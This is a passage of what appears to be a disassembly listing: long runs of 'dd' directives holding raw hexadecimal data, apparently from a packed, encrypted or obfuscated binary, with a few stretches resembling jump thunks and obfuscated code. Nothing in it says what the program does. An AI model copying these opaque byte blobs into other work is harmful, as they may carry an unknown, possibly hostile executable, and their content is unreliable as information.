2ABF29D2h, 0D93A7E4Eh dd 61F4B50Bh, 0B7354067h, 70E941FBh, 0CCB1097Ah, 338F7819h dd 0BCA31510h, 58A286C0h, 0A1AF0C65h, 43C326FEh, 0FE52C46h dd 4600A336h, 0B26D531h, 285EE63h, 71000000h, 0E8B5184Ch dd 56388DC3h, 0C2AA3FADh, 35DAAF3Dh, 0AB6AD88Ch, 0F3911AFFh dd 67658A6Eh, 95FB0092h, 4486D00h, 74ED3D7Dh, 0C87108A7h dd 432ABB38h, 0F040D971h, 0D1BC770Eh, 0B82DBF44h, 9006462Dh dd 0F0D972D6h, 0B027770Eh, 4A652BEFh, 3AB64B77h, 0CAE4028Dh dd 0BFF5C7Eh, 4107D275h, 0F3911AFCh, 2BCCA045h, 0BA3FDCA1h dd 5A3C512Fh, 0A0741951h, 5E184D1Fh, 7FE51CAh, 0BC38AF71h dd 0F2F09B2Ch, 0C16A94B4h, 5D06F05h, 3D1AB747h, 85F0770Eh dd 0D1FF4B67h, 4F750BFEh, 680FDE98h, 0DD970147h, 7FED44Dh dd 69926471h, 762B6A7Fh, 0D0C3FAA6h, 308C1BD3h, 7D35BA5Dh dd 0EBFD06E8h, 0C26A02FEh, 71084735h, 12AC4A35h, 64380D41h dd 522E5583h, 0EAFA3414h, 95406F05h, 436408DDh, 0A6E05C09h dd 0F38F30C7h, 0F0817E12h, 0E6427CCBh, 770E626Dh, 0C4A804D3h dd 61199E71h, 0BD0FEE8Ch, 3DAC3C1Dh, 5434B01Fh, 0ECAFF8Ch dd 2A0EB77h, 8CBAC464h, 8D47750Ch, 89024BDh, 77CD9871h dd 18A1735Eh, 4800A575h, 15F8B61Dh, 9A6F7D82h, 1C9AF2F3h dd 5873397Bh, 0D8548E0Dh, 0E886246Fh, 6361A40h, 6835986Fh dd 4C94F443h, 770EB5CFh, 0A5B3E75Dh, 996D179Fh, 1F58h dd 0C4641E00h, 770EB94Bh, 0D54E2AB1h, 0EFBF26Fh, 107277h dd 93440000h, 25AF5946h, 0B1328EE1h, 0EF6F26Fh, 85F0EC77h dd 8405E5ADh, 13FE11B3h, 75FA9D57h, 9E079EF4h, 0D8FAD2AEh dd 56750C39h, 6E06E783h, 0EE4A1F49h, 0A375189Eh, 0DE34E1Eh dd 14A319E4h, 752F4B69h, 0B1F66FBBh, 9F4A7108h, 0AF2B0921h dd 42096F0Bh, 0D62A6D23h, 875A32E6h, 0B7h, 2ABE3FD2h, 5F0DB647h dd 0C99F24CAh, 796F9064h, 0EAFE0394h, 0E889DD18h, 58388DC3h dd 0CEAC3157h, 3BD2A725h, 0B8FD6BAh, 8A6A63Fh, 896A1A71h dd 4B6785F0h, 0DA73D791h, 26770EF0h, 0F31535B3h, 49750CB2h dd 0D2BDCA82h, 3FE09AD4h, 0BD7B861Ah, 0A53E6E98h, 1B71088Dh dd 92B6F04Ch, 6F0B8494h, 4E7C37A2h, 93E6D678h, 4966FBh dd 0AD4C0000h, 24F14408h, 9264C99Fh, 0FE967B69h, 7106EBF9h dd 6FAE0448h, 3FAD563Bh, 0A321C6AAh, 0D1B73CDEh, 4004A94Ch dd 38D17931h, 847108A5h, 145A77F4h, 1C000000h, 4606AB49h dd 6ED16FBh, 209EC171h, 77CD1466h, 2A8003FCh, 5B26A647h dd 0F45933B4h, 66CB9D26h, 967B6D92h, 0D90F801h, 0B805476Ch dd 0D4B9D3D4h, 422FB942h, 0B4008B1h, 5585450h, 4, 8704E883h dd 685C2404h, 0C2h, 57240489h, 0C781E789h, 4, 4EF81h, 3C870000h dd 0C895C24h, 23BD5524h, 5338C367h, 0D252FBBBh, 7307B83Ch dd 0D8310217h, 5DE8315Bh, 8904EC83h, 4812424h, 424h, 0BA525900h dd 8, 8953CA01h, 5B1A89C3h, 2434FF5Ah, 4C48359h, 582434FFh dd 0E904C483h, 0FFFD311Dh, 853425DCh, 84A50AF1h, 3D1C7EFAh dd 64BD4B8h, 8BC50306h, 9E8C8h, 2D740000h, 67D4613Fh, 6629E77Eh dd 0F624F281h, 58F0F5Bh, 66000000h, 40A6D081h, 63CFC381h dd 0D08B0000h, 18CBBEh, 0F50B8B00h, 4A91E981h, 0FE93E76h dd 0E000000h, 0BD9910A7h, 0CFA91CAAh, 3D95FA85h, 0C18169BCh dd 2F9D3478h, 38B0Fh, 0E4800000h, 0ABF18194h, 0F5C980Ah dd 68Dh, 0FFCF8100h, 51697C82h, 188D0Fh, 66600000h, 0DE8C88Bh dd 0DC000000h, 6441DB89h, 4050C793h, 7A94679Ah, 38F615Eh dd 3830Fh, 0BF0F0000h, 4EB83C3h, 9E97DA81h, 0EE835BEFh dd 86850F01h, 81FFFFFFh, 41C5D8C0h, 0D9E930h, 1D200000h dd 0C12C0FBEh, 0CFDF2F82h, 54FDBEB6h, 0A436365Dh, 0D500BCECh dd 0D352C55Dh, 94A4D676h, 0C44100FCh, 0CB50C1AEh, 0AC325277h dd 0B8009CACh, 64F7F691h, 389382CDh, 3C000000h, 40000000h dd 94000000h, 5000000h, 1000000h, 28000000h, 200000Ah dd 20h dup(0) dd 3C000000h, 0E916C1EFh, 1F42h, 6503468h, 2F6FE906h, 3268FFFDh dd 0E9060651h, 0FFFD2F65h, 6521168h, 2F5BE906h, 0F268FFFDh dd 0E9060652h, 0FFFD2F51h, 653DA68h, 2F47E906h, 9268FFFDh dd 0E9060654h, 0FFFD2F3Dh, 6557E68h, 2F33E906h, 3868FFFDh dd 0E9060656h, 0FFFD2F29h, 65A2D68h, 2F1FE906h, 0AD68FFFDh dd 0E906065Ah, 0FFFD2F15h, 65BCC68h, 2F0BE906h, 0C168FFFDh dd 0E906065Eh, 0FFFD2F01h, 661DE68h, 2EF7E906h, 3A68FFFDh dd 0E9060665h, 0FFFD2EEDh, 6667F68h, 2EE3E906h, 0D268FFFDh dd 0E9060666h, 0FFFD2ED9h, 6672468h, 2ECFE906h, 8868FFFDh dd 0E9060667h, 0FFFD2EC5h, 6687E68h, 2EBBE906h, 0D468FFFDh dd 0E9060669h, 0FFFD2EB1h, 66AE468h, 2EA7E906h, 594FFFDh dd 7C19ECE0h, 0EA8C1177h, 563E83C1h, 0C9AE3351h, 17C6AC20h dd 4705AE43h, 0CB991EF2h, 796F9466h, 0E8FC0194h, 0E079D1C9h dd 5C7108A2h, 432ACFACh, 0B0472AA2h, 524823F7h, 0BB433385h dd 0D2B61DE8h, 0B2CCEA95h, 115CC096h, 0E1EB7E75h, 0B3CBC59h dd 80D44871h, 0F0E632E5h, 89B4E28Bh, 0C5FC0033h, 0F4A79369h dd 0B361B800h, 0A2B834D5h, 4Ah, 155E01DDh, 0DFAA76D4h dd 7D08B70Dh, 55E7437Fh, 0AC7511D5h, 0AA4F3CD9h, 0B7024701h dd 3DDDB0D5h, 3FB5D0B8h, 0F11973E6h, 710BB554h, 4D386CD0h dd 2F8FC28Ah, 6ECA8E61h, 69E13F45h, 1153893h, 0EF7E0000h dd 0E1E4E40Dh, 4701880Bh, 0F024BD8Dh, 0CD98770Eh, 0EF042DBh dd 4D2BBE77h, 38505538h, 0AD3FC455h, 72731AEBh, 0FBFC93F6h dd 44690C91h, 4CDC9600h, 770EF0D3h, 0E6C6A229h, 770EF4AAh dd 0DCB035D8h, 76D2A649h, 770EECDDh, 9129B423h, 5C6536D7h dd 0EECD34Ch, 0C6A22977h, 787601A6h, 10E1843Eh, 7F1CE1EBh dd 0E877127Ah, 0ECE17ACEh, 885F770Eh, 0FD921C2Ch, 1EEF7511h dd 7613757Ah, 580CDBFAh, 2846642Fh, 0B430B545h, 8E202EFAh dd 14F96F09h, 7B6E7E83h, 25C9A4FDh, 0C37D3580h, 84DEE67h dd 76771E77h, 722C885Fh, 97F5FE93h, 32B74429h, 0B53ED3B6h dd 0D5ADD7FAh, 8F422AE6h, 1C55h, 167A7B1Eh, 9BC9F283h dd 355B6036h, 0A52BCCA0h, 0D6BA3FD0h, 24F5A15Ch, 9464C99Fh dd 0AE87D13h, 771EE3E1h, 47431276h, 8A06AE3h, 4526D671h dd 9E6F452Ah, 3BD4F4FDh, 81770EF0h, 9F194FDAh, 0A74928CEh dd 9DDF0A70h, 0A94C03EEh, 32C5A804h, 1A4DF8Dh, 0F06AE347h dd 0FBD6770Eh, 93F69617h, 741FA804h, 0F10C85A5h, 2F70770Eh dd 6659DE58h, 0AF3A8107h, 92865913h, 41981F0Ah, 0E395B533h dd 59751146h, 9532DAB2h, 93710B48h, 657F79ADh, 629369AAh dd 0ACh, 0A2432A9Dh, 9B2472Ah, 0F55BB75Fh, 8669770Eh, 0ECFD96B2h dd 9443770Eh, 1FF65B09h, 0CEB9CE9Eh, 28B296D0h, 167511FEh dd 39742743h, 7F4C4A05h, 0B36D01FFh, 0D02126F9h, 0E63C4742h dd 0BE12DA6h, 68C49371h, 7836B4DFh, 97CB3D0h, 1C5A016Fh dd 14FBA849h, 0FD400493h, 0CFDC971Ch, 12E6D5ACh, 1B57E77Ah dd 79180000h, 0F08D1074h, 5E3085CBh, 0CAA23755h, 3DD2A725h dd 0A352D0B4h, 0CB9922F7h, 7F6D9266h, 0EDE308EAh, 1C707518h dd 6CE54545h, 0D071089Fh, 452A4320h, 0B24528BCh, 6FBB750Dh dd 770EF0F6h, 56496E06h, 12412583h, 4A2432Ah, 926E9361h dd 878017FAh, 5B6036EFh, 62C95431h, 0E76B5F6Eh, 0A6601E9Ch dd 0F0C35CECh, 0A575770Eh, 0DE5A0100h, 120918CEh, 0A4C39675h dd 819C9384h, 7E1FEEE4h, 0FA761375h, 0B85C424Dh, 0A5305537h dd 1798780Dh, 721A9F70h, 25DF9917h, 20FDAE40h, 95C0C9Bh dd 0BD259BB3h, 0A144BA84h, 70512FD4h, 0EF7A7F1Dh, 5B6032D3h dd 8FFA8DDDh, 0B9F15911h, 7B883C6h, 0A0771650h, 0EE82631Fh dd 0ED21A8C9h, 0A0CC7942h, 3ADDA0C4h, 0C9E3FAB5h, 0AE3E5C5Eh dd 1A78B3h, 57583B00h, 2ACFAC31h, 0B43DD3A6h, 4A94DD0h dd 971CFD40h, 96C473F1h, 194F801h, 0B5184C71h, 3B8EC2E7h dd 643D5354h, 9E8D0622h, 41F37108h, 68432AA2h, 0DF5D14CCh dd 0E3E5704Bh, 2BC3B9C4h, 3887C28Ah, 0E10AEF7Eh, 9EFE2E7h dd 0FE4A04E0h, 7511BF94h, 0E089DF8Ah, 0D6B7710Ah, 0F891BB40h dd 44710B9Fh, 9F6DE642h, 4D3710Bh, 0A1462AB9h, 79C6A227h dd 72D6900Eh, 6F0EB89Ch, 18304F1Ah, 0B39F3D00h, 52CB5F19h dd 0AEAF5DD0h, 39C2543Bh, 6B89F443h, 75C2954Fh, 0ADF97EE9h dd 0F3B88E1Ah, 0FA41F27Ah, 43F36CBCh, 8249AF5Dh, 50B00626h dd 3BAEAD60h, 2C07EE7Fh, 65918D10h, 0D1BB0621h, 175038B4h dd 18304E6Ch, 0B35F3EE0h, 1EEF8B5Eh, 8F127677h, 23ACC7E8h dd 0F62162ECh, 1997FB16h, 39D80000h, 0B04DD0B4h, 1EF0450Bh dd 8A62F795h, 0FD926765h, 0E31290F4h, 8BD9E2B7h, 3FAD5226h dd 0AD23C8AAh, 0DCB035D8h, 0AC250585h, 1071089Eh, 432A8360h dd 20DFF168h, 4B08A952h, 0C18B166Bh, 0A5DDDBA6h, 4DBD28EBh dd 0ED005ACEh, 0F1753717h, 1CCB7510h, 573FCE48h, 0A8803656h dd 710AF92Fh, 0F573DE8Dh, 4B0C8D54h, 0FE781C79h, 1CE8EF7Dh dd 2642BEC3h, 0D5A00FE5h, 0D8A7482Fh, 0E8D48A9Eh, 7F526F0Eh dd 13761697h, 0F45FE984h, 0B0AA78Ah, 3A60F951h, 90DA66h dd 0D9F8EDFFh, 7E09B632h, 0D1A74660h, 58124C28h, 3B118A9Eh dd 0F86FDA66h, 47D62C7Ch, 8154D869h, 4D5A0C7h, 634BAB24h dd 0FF4A11DCh, 744F67C3h, 6AF1DA66h, 0D1D6B94Ch, 0FF4B05B3h dd 0DA665366h, 0DCB10FDAh, 8EFDB439h, 537A7B93h, 18AFA6BBh dd 21F00000h, 9865C89Ch, 6E87D13h, 721AEFFDh, 0E58A1F4Dh dd 0FB3A88DCh, 0A321CAAFh, 0D7B53ADEh, 450BB042h, 0F4981DF0h dd 0C45DEDADh, 3871089Dh, 6C01EB88h, 0FB4F6B8Ch, 770EF062h dd 0D8AD0BDEh, 0AFD8B035h, 80A8C6E4h, 7511F672h, 0A91775E0h dd 7C1535EFh, 0C0710BD5h, 0D59A3315h, 73E6710Bh, 0E19154F5h dd 0A45E1896h, 308C31C1h, 0EEE4218h, 5D15C06Fh, 0C0C6A3BAh dd 9410E8D9h, 436C4FD9h, 2752AA51h, 0E359F189h, 677CF27h dd 916F9067h, 4A325B0h, 0EB3F7B79h, 79D053D3h, 2DC0FE6Dh dd 39D2764Ah, 8779CBF3h, 0B20745D0h, 629BDADBh, 0FF1B91F3h dd 17F7F26Fh, 0D9B80000h, 502DB0D4h, 0BE5025ABh, 2AC25735h dd 9D72C785h, 43F27014h, 6B798217h, 9FCDF286h, 0D43680Ah dd 0BCD0D5B8h, 0C85A5E5h, 7071089Dh, 432A23C0h, 0F29D2AA2h dd 5F00BAF4h, 8A09ABA8h, 67473D67h, 7511F45Dh, 350BECC3h dd 0BB37C15h, 8E15C071h, 261CAD23h, 9FDBD9A4h, 0ECCD58Bh dd 0E984536Fh, 0C750815Fh, 3DDE9807h, 9705A164h, 57F0D8A5h dd 0E9E34692h, 0E2E7E106h, 8B2CCCA3h, 433984C1h, 4F6B89F4h dd 499F85FBh, 9AD483E1h, 0CA8223CBh, 7D6F9067h, 47279D68h dd 0CEAF5520h, 38DEA325h, 218CD9B3h, 6E7B1C5Ah, 2FD4A58Dh dd 269728BDh, 0B9F74DD5h, 46F35991h, 3670E7DFh, 0E3EFDB7Ch dd 0D5E27BCFh, 8B5EE346h, 0EE8BC7F6h, 17987F12h, 4F26C771h dd 533EBF56h, 0BDD0AC39h, 7B9AD5DAh, 6751B88h, 170BEB66h dd 0C5540000h, 3CD9AC20h, 0AA4CD1B7h, 16FE4301h, 896EF391h dd 57866C60h, 7456E03h, 8BD9DEB2h, 39AF5426h, 0A83CC154h dd 20B99109h, 9C71089Bh, 6C010FECh, 6366668Bh, 8F658E6Ch dd 0D49213FAh, 0B5E6331h, 82EA4667h, 621C9AE5h, 0CAB86C6h dd 556DF875h, 9ED8DDB0h, 0C08728CFh, 86C3852Eh, 8DB6462Ah dd 657108A4h, 0DB30571Bh, 3E27A088h, 0C6957108h, 4643E5B1h dd 6D0095FBh, 206B0448h, 7401E482h, 2E481D4Fh, 835811Ah dd 8C68FF71h, 0F11676D2h, 0FD686F05h, 0A84D20C5h, 5126A520h dd 0CFA520A8h, 9A1FFC91h, 699263F6h, 0FAFB927Fh, 0D3F86EBBh dd 865B33E6h, 1651h, 6A7E7F12h, 9FCDF687h, 95F640Ah, 0B92FD0A4h dd 2ABE43D4h, 28C99D58h, 9878CD83h, 0EEC7117h, 7B12E7E5h dd 4B4F167Ah, 89A66FFh, 492ADA71h, 4B6785F0h, 0CAB9FFFh dd 0ACCA9175h, 0D3B136D9h, 0CD00EA94h, 757E1C7Bh, 5D217613h dd 64FD4D40h, 0D8710835h, 9FDBA60Dh, 835FE8Bh, 0FDEF7A71h dd 835B755h, 9BCF7571h, 8B7805E8h, 127AC1EAh, 78C7E88Fh dd 3571EA3Eh, 18CF7108h, 938D979Ch, 744A9366h, 30000000h dd 0E726866Fh, 516A0Ah, 0A8B60A35h, 3EB53374h, 486686F0h dd 522ED3A5h, 0F08F3414h, 86ED770Eh, 4462C9EEh, 77701E93h dd 33898F22h, 6F16B35Bh, 482E770Eh, 0B74429A3h, 24185A32h dd 13F46F0h, 0CBC1DBDDh, 31E2996Ch, 0E1D785BAh, 0B7EDC099h dd 0DFA67304h, 18ADAF05h, 0CE000000h, 0EF0F16Fh, 30AED977h dd 0E6B8D276h, 8C617511h, 566FC5EEh, 0F096CD83h, 0BA4B6785h dd 0AF2800D8h, 0D770EF0h, 0CC99F35Eh, 84123670h, 0D5751208h dd 0C8960F1Bh, 7FEA710Bh, 5335A081h, 0C28627CEh, 7517987Fh dd 0A82109C3h, 14710BC8h, 0F186EB41h, 5C3D80C8h, 0CBA83557h dd 37DBA626h, 0C60AC6B6h, 119670BEh, 967DCD5Ah, 7D3559D7h dd 0A35D159Ah, 0B390E87h, 9E77271h, 0F8FD9065h, 0F6ACD790h dd 98CD9F24h, 0FC90750Dh, 78F491FBh, 5C20EA3Eh, 4B1E6F0Eh dd 0D8DDB005h, 8627CF9Eh, 53C740E8h, 0A635770Eh, 0DE9AA2CAh dd 302F1CF4h, 0FF96A8FCh, 7007EAFEh, 0DCB01D4Fh, 4B2CB1DBh dd 0BA5B26A6h, 48F45731h, 48C16904h, 0B4FED8B6h, 0D3D15A21h dd 9F20F78Fh, 880129E3h, 0F4FED8B6h, 12E78B61h, 55127A7Bh dd 0E1A2742Ah, 0E7E2EA0Fh, 8E157018h, 0BBFA58F0h, 0ED78FCDBh dd 0E1E502D5h, 0FF15854Eh, 0D9E2B22Bh, 0CC5B0EF8h, 0E6891C70h dd 563A87C1h, 0C8AA3751h, 36C4A923h, 0D448DB8Dh, 0B9773680h dd 0EC3CF695h, 0F8D9E273h, 0C3A602C9h, 70C58B2Ch, 3770189Dh dd 3CC5564Ch, 8F34C1ACh, 563D88DDh, 0DFF63018h, 6944F6DCh dd 7C696388h, 876EF391h, 0E3FC95B5h, 9540FED8h, 19B65E0Eh dd 3E0ED8E4h, 0F184DE02h, 0F15C6134h, 0BF6C0E93h, 0A82109DBh dd 140ED8E3h, 7D6FFA41h, 92FAFF90h, 87DF0331h, 3598CCF5h dd 0D3D8BA67h, 7412CB9h, 961BFC91h, 1E9F771Ah, 200BE34Eh dd 69DE8ADDh, 5335807Fh, 977926CEh, 6DC58712h, 9A2D6DB1h dd 5A3872A6h, 0A7741951h, 7FC2A602h, 3374149Dh, 790CAA48h dd 0E10AEC99h, 9917E2E7h, 0A86B25DFh, 83E58D84h, 6BE42457h dd 9D0ED843h, 0F491FB00h, 0D44DDDDDh, 280ED843h, 725AD6BDh dd 0CDB5BE4h, 24F96235h, 0E08FB82Ah, 0D984CF48h, 0D3BE2D08h dd 0FFE97C55h, 0D294B8F4h, 40D5BB40h, 0D64008ADh, 0B5D6637h dd 0E88FE25Eh, 1E0685C7h, 27E19BCAh, 0D9848A03h, 2963F608h dd 8D984B0h, 660A590Ch, 0EF86EB41h, 0BE8A5E36h, 8D98425h dd 6761CC9Bh, 32F19762h, 2B37E62Ah, 2A25h, 482A5600h, 0F39E29A3h dd 0D36DBDF5h, 697511F6h, 413C4E2h, 30B95F3Dh, 0AF424E6Fh dd 67948115h, 0C1BF0A5Bh, 20A8ADh, 2ACB0000h, 6F29A348h dd 67CA1EACh, 8460C57Bh, 1452503Bh, 0A01CA171h, 0B1E442E6h dd 87527511h, 6C0192C1h, 60656788h, 8864896Dh, 0B6C14921h dd 9EF7E38h, 0F07E1733h, 17C2770Eh, 2F85C088h, 903D971h dd 0DA817512h, 0D3148D9Fh, 93FE9C9Eh, 0EB885D15h, 1C2C6AC6h dd 8261C5A6h, 105731A4h, 2DDEBF65h, 4CDBA64Bh, 0EDDE1632h dd 0F560805Eh, 734528BDh, 0DDF891B9h, 9144845Eh, 5EDE1EB7h dd 68F76284h, 472BBA64h, 0A72008A6h, 15845EDDh, 0F087EA46h dd 1D69B4CFh, 5C2C1463h, 125C81h, 73740700h, 0C6EB881Dh dd 50593F82h, 20C5A93Ch, 0B338D9ACh, 0F2A857DDh, 6DF0941Dh dd 9164688Dh, 7EAFE03h, 78194F70h, 9671EA3Eh, 3DCF7108h dd 896C01BEh, 27A08864h, 0F2770EEFh, 4BAF2621h, 0F256FB66h dd 770E5C59h, 0CFA530A7h, 0DB971560h, 117DD54Fh, 518B4C75h dd 9E92D024h, 0F7624339h, 0A3482ABBh, 31BA582Dh, 0B23EE157h dd 0DF89DF40h, 4C234622h, 5FCB08ABh, 0F696E0D0h, 11DC1Bh dd 0F3F48700h, 466B089Dh, 0D0D9BF02h, 0A04529BCh, 33B8592Ch dd 7228D75Dh, 0ED70149Dh, 11E4E80Dh, 876A7E83h, 0F899CFF0h dd 96F16ABEh, 0BD4F7108h, 6785F03Eh, 73D7914Bh, 770EF0DAh dd 53F7B326h, 770EF0BAh, 0F5D55306h, 7512115Bh, 0E97C3AA1h dd 1CE1E70Ch, 8F127A7Fh, 0DE85C7E8h, 19D3B2E6h, 0BC99831h dd 0FB71E471h, 0E8FC0596h, 48C26C1h, 593AC9E4h, 72103850h dd 71710BC9h, 0B441194Dh, 0EDF590Fh, 4005476Ch, 4A7E2B3Fh dd 8F650BC2h, 0F89019FAh, 2ACBAF3Eh, 1896E14Eh, 0A916CA5Eh dd 0C5906F09h, 7A12F3ADh, 0FA761375h, 0E9FF0097h, 1C4C7104h dd 0E482206Bh, 75CC544h, 0E5895C75h, 9E4D64C0h, 0B54726E0h dd 1ADE89C6h, 15E0A1C9h, 8223CA9Fh, 0C0947BCEh, 0B54EF68h dd 339E4D71h, 10FA477h, 9021C6AAh, 0FFBB6210h, 0B93B22Bh dd 0DD5B0E71h, 118FFA8Dh, 128B9F59h, 6E710B94h, 89437DFBh dd 93E27BCFh, 8B5E710Bh, 90EF1D2Dh, 0FE6D6F0Eh, 0D3508CC7h dd 0A4B951E6h, 10BDh, 0FE9213E6h, 63618A6Bh, 9DF3F89Eh dd 0D436408h, 0BED2D7B8h, 0BC5D0934h, 2CCC5137h, 0A270C58Bh dd 0FE64B19h, 0DFDBFAEEh, 895D24Bh, 0DD9E2E71h, 0EF0ED6Fh dd 446D0F77h, 541C6700h, 1846A66Dh, 87CE89D8h, 422ED8F9h dd 0CF902EB5h, 813FADBEh, 104E2AD1h, 0C819138h, 0AC920F75h dd 0F5690509h, 7A0BA732h, 7A796F94h, 0ED567074h, 19B6F99h dd 0F0880000h, 18C6187h, 0EF0AB29h, 403DA877h, 0CEA64701h dd 7BD05329h, 0C6543954h, 6C941DF7h, 0CA51A41Ah, 83F0F56Eh dd 0B32CFCB6h, 9770EF0h, 0F0D14A42h, 0B82F770Eh, 0E467502Dh dd 0FB9888F0h, 64F396F6h, 1FB8904Ah, 9D770EF0h, 1F172CEh dd 8D6B8C6Ch, 8074D3D0h, 23986D56h, 0B7E15670h, 0D2AE8205h dd 67C8h, 3ADFAE00h, 36B2D7B1h, 9D83F0BDh, 8B68F7FCh, 0F0AB2901h dd 9F6E770Eh, 91B9F1FAh, 770EF0F8h, 3A1B9144h, 0A07213AFh dd 0CEC711Bh, 19E4E1EBh, 470120A3h, 2FAAC694h, 572D5C86h dd 0BF442ADCh, 5BE55003h, 3D64FAC6h, 5E01CC47h, 0C189ED28h dd 0A00EEA5Bh, 455AC3h, 621C0000h, 0EF04DC6h, 3FDCB377h dd 0D2512FBAh, 0BD8D4701h, 770EF024h, 42DBCD98h, 0BE770EF0h dd 95E24D2Bh, 0F0E760C8h, 8655770Eh, 0F0C740E8h, 0A635770Eh dd 29015ADBh, 770EF0ABh, 1403DA8h, 0BF442A82h, 7472F1C6h dd 986D5680h, 377Fh, 88F0F800h, 29018360h, 770EF0ABh, 41244209h dd 0B74508ADh, 0B10F5A32h, 2A820132h, 0F1C3A049h, 0AD0BE4B7h dd 536B389Ch, 0CC9A3317h, 73E6770Eh, 2F5A7EF5h, 0D9000000h dd 0F9AA88F0h, 5CF3BA48h, 176CF5Ah, 0EF0AB29h, 403DA877h dd 492A8201h, 916706A0h, 1178C68h, 2ECFA647h, 0EF065FEh dd 0B00CDB77h, 6C016906h, 0F2F7998Ah, 8460CF9Ah, 0FFFE7391h dd 1B2FE9FFh, 770EF082h, 0F118B199h, 0F164770Eh, 0B3440BDEh dd 0AD0B5E0Eh, 6785F036h, 73D7914Bh dd 770EF0DAh, 1535B326h, 750CABB5h, 0E8A2DC8Bh, 0F14F7405h dd 90F4F99Ch, 730FADD7h, 0B03EFD92h, 0BCC7D1D3h, 1EF69560h dd 1E9ACF99h, 624FC860h, 3EAD7108h, 630F86AEh, 13017108h dd 0BFD3E9CFh, 418C9366h, 2F000000h, 0EF0F26Fh, 4A6B0277h dd 0F058F606h, 4530770Eh, 0AB36B75Fh, 10393B0Fh, 60F77512h dd 0EEE1B26Ch, 0EE403AFh, 7BCFF287h, 0F83F7124h, 97197Ch dd 0A7610000h, 0B110A83h, 51563A71h, 960DEB7Eh, 4B6785F0h dd 120919FFh, 26401775h, 580CB547h, 957A27F5h, 917C6Ch dd 0E9816CFBh, 0C8821B2Fh, 6BFE710Bh, 0BFCAFD8Dh, 65A18921h dd 0D36F0983h, 0F99B6A04h, 6B099CF0h, 16610646h, 5E4ADE98h dd 0D875074Fh, 0FD90750Dh, 6E0194F8h, 2E093649h, 20C8E0D0h dd 0DC82Dh, 0E708EB00h, 7A7F1CE1h, 0C4ED8316h, 54593D80h dd 27CCAD30h, 4614C3A1h, 0F14408B1h, 65C89C21h, 0EB7E1297h dd 0D4EDE304h, 92DD76D2h, 91237108h, 71432AD2h, 0F0FA93B7h dd 9346770Eh, 0EF020B9h, 62C99C77h, 62EBAC6Ah, 568D8371h dd 583F522Eh, 0AE963557h, 0A84D207Ah, 11D97A24h, 8281702Bh dd 0F0DA9728h, 89E3222Bh, 75FC0033h, 67FB996Ch, 0C1000000h dd 0B75E4B2Ch, 0A4335636h, 48CBA124h, 4B6785F0h, 11FD89FFh dd 4B288775h, 6FC2066Ch, 0FC4BDE60h, 56D8F9ECh, 924F5713h dd 0F25F0994h, 648D621Bh, 0F69A6164h, 0FE938C63h, 6BF693F5h dd 0BD3B4661h, 17945205h, 4FB164FDh, 0AD93B7F1h, 0EC6F0E7Fh dd 0B9E1F82Bh, 0A4001DA7h, 71AF148Dh, 3A5F640Ah, 8E151EB2h dd 492A99DAh, 0FC4C06A0h, 770EF063h, 0B75F32D9h, 43D6BA36h dd 0B75F09B2h, 770EF113h, 0C0565321h, 8F38AC3Bh, 60C8E604h dd 750CABC4h, 11CBE772h, 77119A7Ch, 1DF39612h, 9546F094h dd 0E4F1ED90h, 0EA69C77Fh, 0ED567074h, 0FD6F99h, 0F0880000h dd 18C6187h, 0EF0AB29h, 403DA877h, 547B8201h, 3FC05439h dd 0C25538ADh, 423EAB3Dh, 6583F0C1h, 1E46788h, 0E437875Eh dd 96D03B89h, 0E3119B2h, 74F06777h, 4825C3CBh, 80748102h dd 23986D56h, 1CF2AB42h, 0AEAC0897h, 2Ch, 6583F0C9h, 0AB290188h dd 9770EF0h, 8201E142h, 0DC6C442Ah, 770EF043h, 859C21F5h dd 0F1EA4BD6h, 0BF44D6B7h, 165A42C1h, 0D9000000h, 886583F0h dd 0F0AB2901h, 3DA8770Eh, 2A820140h, 0F1C6BF44h, 56807472h dd 497F986Dh, 3D000000h, 4420C5A8h, 9888F0CFh, 46670BF4h dd 69F44306h, 0E3470194h, 770EF06Ah, 0EBA503D6h, 0EF0C15Fh dd 0E1B55877h, 63D98CDCh, 11E9742h, 0A0492A82h, 0D6B7F1C3h dd 42DB6F45h, 0BE770EF0h, 590C5C2Bh, 165A60E3h, 0D9000000h dd 836088F0h, 0F0AB2901h, 3DA8770Eh, 2A820140h, 0F1C3A049h dd 0FEFA5A72h, 0F0D9FFFFh, 0FF4B6785h, 750CAB9Fh, 0D9ACCA91h dd 94D3B136h, 0F2ACCAEAh, 0A259CF21h, 5D62E7FBh, 21EF5C82h dd 1E2E8A58h, 7108BD85h, 0D47C6CFBh, 7108BD3Dh, 0C4842DCFh dd 77119679h, 0EC2E72CEh, 2D0B5FC5h, 93671B17h, 23D0h dd 0F26F6300h, 29770EF0h, 315AD076h, 7C1C2843h, 7D10EC7Bh dd 0C977159Ah, 3A525724h, 0BFCCD1AFh, 77000000h, 6FAD85F0h dd 58990A3Fh, 0C3FCA81Ah, 4ACCE3BEh, 5022C3FFh, 0B793CDABh dd 7511DA89h, 0A74660F7h, 0B12AFED6h, 0F710B79h, 3977CD58h dd 853DC654h, 79E67FCBh, 8F5A710Bh, 2AC85D31h, 0DEDFB352h dd 58F1DB8Eh, 0A4710B79h, 8522AA31h, 8C2FCFAh, 0B014D157h dd 6FC5456Eh, 8EC075Fh, 0D492796Fh, 0A5E6331h, 2AE6D5A7h dd 998047D1h, 7B0C5C2Bh, 74D49210h, 75074268h, 866703D6h dd 379ACEEFh, 1245F60h, 0C4E0D039h, 0AAB2924h, 25F40000h dd 9C79CC80h, 0AEC7117h, 761EE3E1h, 0E98E1371h, 0F7268CC0h dd 0A725CEA3h, 2BB93ED2h, 590FB446h, 0C89C21F4h, 0C059F1A9h dd 3C71088Fh, 432AEF8Ch, 0B0472AA2h, 56CE5D0Fh, 0F8A54802h dd 70E94117h, 0CC770EF0h, 54F4B219h, 770EF0BBh, 99CF5A01h dd 6D4E526Ah, 5C0D99h, 0F0AE0000h, 914B6785h, 0EF020B9h dd 7A00E277h, 784B7F61h, 50C96159h, 0AC770E3Eh, 98D65239h dd 115A02B0h, 0E3E57075h, 1276771Eh, 50DE88Fh, 9F7764C1h dd 0CAFDEF7Ah, 0D68921BFh, 38BB5C2Eh, 5B15930Fh, 0E25C1CFh dd 0C0503F6Fh, 0AD38AD3Fh, 19A27015h, 0A3771A4Fh, 0A11F4A02h dd 492A96CDh, 0F03ED773h, 0D782770Eh, 0E09A0448h, 0EF0CF48h dd 0C2BE2D77h, 0EF068EAh, 0C3E88A77h, 1997E28Dh, 0D98CBE61h dd 0F86BF7EDh, 47E6427Ch, 0F9750BD9h, 0DFB15412h, 0D8A74C22h dd 997B0AB4h, 11F9410h, 1EF24F5Eh, 7015777Ch, 